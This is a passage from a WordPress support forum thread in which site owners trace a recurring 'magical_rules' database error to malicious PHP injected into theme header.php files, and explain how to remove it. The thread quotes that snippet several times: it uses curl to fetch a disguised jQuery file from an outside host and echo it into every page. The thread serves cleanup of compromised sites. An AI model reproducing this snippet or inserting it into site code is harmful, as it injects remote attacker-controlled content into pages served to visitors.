• Full error message:

    Couldn’t connect to database server.Couldn’t find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = ”;

    I’ve googled about it and apparently many others seem to have the exact same problem. Does anyone know how to resolve this? No, its not with the plugins. No, its not with the 3.3 update.

    I’ve reinstalled the wordpress application twice and although it started out fine, within less than half an hour, the error message surfaced again.

    Thanks to all who have anything to reply!

Viewing 15 replies - 16 through 30 (of 45 total)
  • Initially i was getting this error message

    Couldn’t connect to database server.Couldn’t find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = ”;

    Now i get this
    You don’t have permission to access /backlinker.php on this server.
    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
    Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at 4llw4d.freefilesblog.com Port 80

    Anyone with a possible solution?
    Thanks

    Testing 123. Is this thing on?
    I fixed this same problem over 50 different blogs.
    I post the solution here 3 times already, but I get the feeling it must not be getting posted because I included the code in my post.

    1.) You don’t need to change your theme.
    2.) you need to FTP into your blog
    3.) open the header.php file in your selected theme folder
    4.) comment out the PHP code just above the </head> html element that is trying to import a javascript file using curl
    ……
    Ohhhh, wait, I get it. You guys are not hosting your own WordPress blog.
    If that is the case, then I guess your Sh*t out of luck. Unless you can edit the header.php page from the admin area of your blog.

    Can this not be done from the editor in wordpress?

    Thread Starter loyalover

    (@loyalover)

    YES IT CAN BE DONE FROM EDITOR. JUST REMOVE THIS CODE FROM ABOVE THE </HEAD>
    YAY! THANKS A MILLION

    <?php
    if(function_exists(‘curl_init’))
    {
    $url = “https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221;;
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo “$data”;
    }
    ?>

    Oh god… I deletedthe wrong part of te code and now my website is messed up!!! Any ideas howto fix?

    Moderator Ipstenu (Mika Epstein)

    (@ipstenu)

    ?????? Advisor and Activist

    Restore from a backup.

    I dont manually back my site up :/

    man! I just remove this line:
    <?php
    if(function_exists(‘curl_init’))
    {
    $url = “https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221;;
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo “$data”;
    }
    ?>
    Now its gone, thanks

    thanks michael…worked like a charm via ftp! ?? i learned something new today.

    my site: https://www.ballbearing-china.com have the same problem, host is DM

    I searched the header.php file from my ‘wp-content/themes/twentyten/header.php’ directory and did not find that code:

    <?php
    if(function_exists(‘curl_init’))
    {
    $url = “https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221;;
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo “$data”;
    }
    ?>

    I am still getting the error:
    Couldn’t connect to database server.Couldn’t find database magical_rules.An unexpected problem has occured with the application.
    SELECT statscurl_id FROM statscurl WHERE statscurl_ip = ”;

    What am I missing?

    Thanks michael.l.hayden You had pinpointed the error. I am sure, the theme was a corrupt one. By commenting out the lines you had mentioned the problem is gone.

    thanks for your suggestions. i was also getting the same message but it has resolve now!

    Remove the code from Header.php

    <?php
    if(function_exists('curl_init'))
    {
     $url = "https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
     $ch = curl_init();
     $timeout = 5;
     curl_setopt($ch,CURLOPT_URL,$url);
     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
     curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
     $data = curl_exec($ch);
     curl_close($ch);
     echo "$data";
    }
    ?>

    I’m happy that I am able to help.

    THX THX THX
    For michael.l.hayden
    THX THX THX

    -.-

Viewing 15 replies - 16 through 30 (of 45 total)
  • The topic ‘Error Message: Couldn't connect to database server.’ is closed to new replies.